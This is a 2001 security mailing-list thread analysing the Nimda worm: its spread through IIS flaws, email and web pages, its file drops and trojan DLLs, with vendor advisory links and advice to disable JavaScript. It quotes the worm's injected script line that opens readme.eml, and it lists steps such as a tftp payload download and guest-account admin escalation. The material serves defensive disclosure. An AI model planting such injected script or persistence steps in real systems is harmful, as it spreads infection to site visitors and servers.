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Re: New "concept" virus/worm?

From: Jim Olsen <jim () cyberjunkees com>
Date: Tue, 18 Sep 2001 14:01:51 -0400
This is a cumulation of the information i've found on W32.nimda thus far:

W32.nimda is NOT a code red variant, and the people who referring to it as 
"Code Blue" were mistaken...

The name it has been given (at least by TruSecure) is W32.nimda.a.mm. It uses 
several vulnerabilities in Windows NT and 2000 server's to infect a server, 
and also employ's email and web site mobile code to infect Windows 
9x/ME/NT/2k boxes.

During the initial infection of a server, the worm does the following:
        - download a file named "admin.dll" via tftp from the system that is 
trying to infect the target
        - add the guest account to the local administrators group and 
activates the account
        - makes sure c$ is shared out
        - copies itself to c, d, and e drives
        - tries to mail itself to email addresses that it discovers on the 
server
        - creates a file named readme.exe, which is used in the mobile code 
inserted on the web sites below
        - add this string to the web pages found on the server:
<html><script language="JavaScript">window.open("readme.eml", null, 
"resizable=no,top=6000,left=6000")</script></html>
        - scans for and infects other vulnerable IIS servers
        - goes through all shared directories and puts sample.nws, 
sample.eml, desktop.eml, desktop.nws in each directory. these are eml 
messages with copies of itself (readme.exe) autoloaded by the mobile html 
code mentioned above. 
        - goes through all shared directories and puts riched20.dll in each 
directory, which is a trogan dll version of W32.nimda that is meant to 
infect people running notepad/wordpad in that directory.
        - puts a trojan mmc.exe in the winnt directory that is a copy of 
itself in the above "readme.exe" format (win2000 only)

If a user views a web site that is hosted on an infected server, the 
following happens:
        - upon viewing an infected page, the mobile code extracts to 
readme.exe and starts in windows media player (without user intervention)
        - the user's machine becomes infected with W32.nimda at this point 
and time
        - the worm starts scanning for other vulnerable IIS servers
        - the worm emails itself to everyone on the user's address book
        - goes through all shared directories and puts sample.nws, 
sample.eml, desktop.eml, desktop.nws in each directory. these are eml 
messages with copies of itself (readme.exe) autoloaded by the mobile html 
code mentioned above. 
        - goes through all shared directories and puts riched20.dll in each 
directory, which is a trogjan dll version of W32.nimda that is meant to 
infect people running notepad/wordpad in that directory.
        - puts a trojan mmc.exe in the winnt directory that is a copy of 
itself in the above "readme.exe" format (win2000 only)

It us unknown to me what happens (at this point in time) if a user opens an 
attachment that is sent from an infected site. It is possible that it could 
automatically infect the user's computer using the same methods mentioned 
above.

EVERYONE who uses internet explorer to browse the internet should probably do 
one of two things to stop from being automatically infected by W32.nimda (i 
have not tested whether or not turning off javascript fixes the problem):
        o) don't browse web pages until microsoft releases a patch
        o) turn OFF javascript

EVERYONE who uses outlook/outlook express should, at the very least, not open 
any attachments that they are not expecting. Turning off auto-preview might 
be a good idea as well.

Slashdot has an article discussing this:
http://slashdot.org/articles/01/09/18/151203.shtml

On Tuesday 18 September 2001 13:26, Berislav Kucan wrote:

NAI avertlabs marked is as "high", but their VIL database is know
giving some technical errors. These are few vendor responses (not much
information though):

Sophos
http://www.sophos.com/virusinfo/analyses/w32nimdaa.html

NAI
http://vil.nai.com/vil/virusSummary.asp?virus_k=99209

F-Secure
http://www.f-secure.com/v-descs/nimda.shtml

Symantec
http://www.sarc.com/avcenter/venc/data/w32.nimda.a () mm html

Also NAI calls it Minda, and not Nimda ;)   From their info it says -
The virus contains the string :Concept Virus(CV) V.5, Copyright(c) 2001
R.P.China , so reffer to Defcom's Olle Segerdahl post to Incidents and
Bugtraq...

Berislav Kucan
Help Net Security - http://www.net-security.org
IP-Solutions - http://www.ip-solutions.dk
E-mail: bkucan () net-security org
Phone: +385 91 513 9159

*********** REPLY SEPARATOR  ***********

On 9/18/2001 at 10:57 AM Brett Glass wrote:

At 10:21 AM 9/18/2001, Jay D. Dyson wrote:

       It's a two-prong worm.  It appears to be primarily


disseminated


via e-mail, and then launches its attacks on web hosts upon


successful


infection.


Newsbytes is calling this worm "Code Rainbow," while some of the


antivirus


firms seem to be calling it "W32.Nimda.A@mm".


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-- 
"Computer games don't affect kids, I mean if Pacman affected us as kids, 
we'd all be running around in darkened rooms, munching pills, and listening 
to repetitive music." ~unknown
****
Jim Olsen
Systems Administrator
CyberJunkees
****

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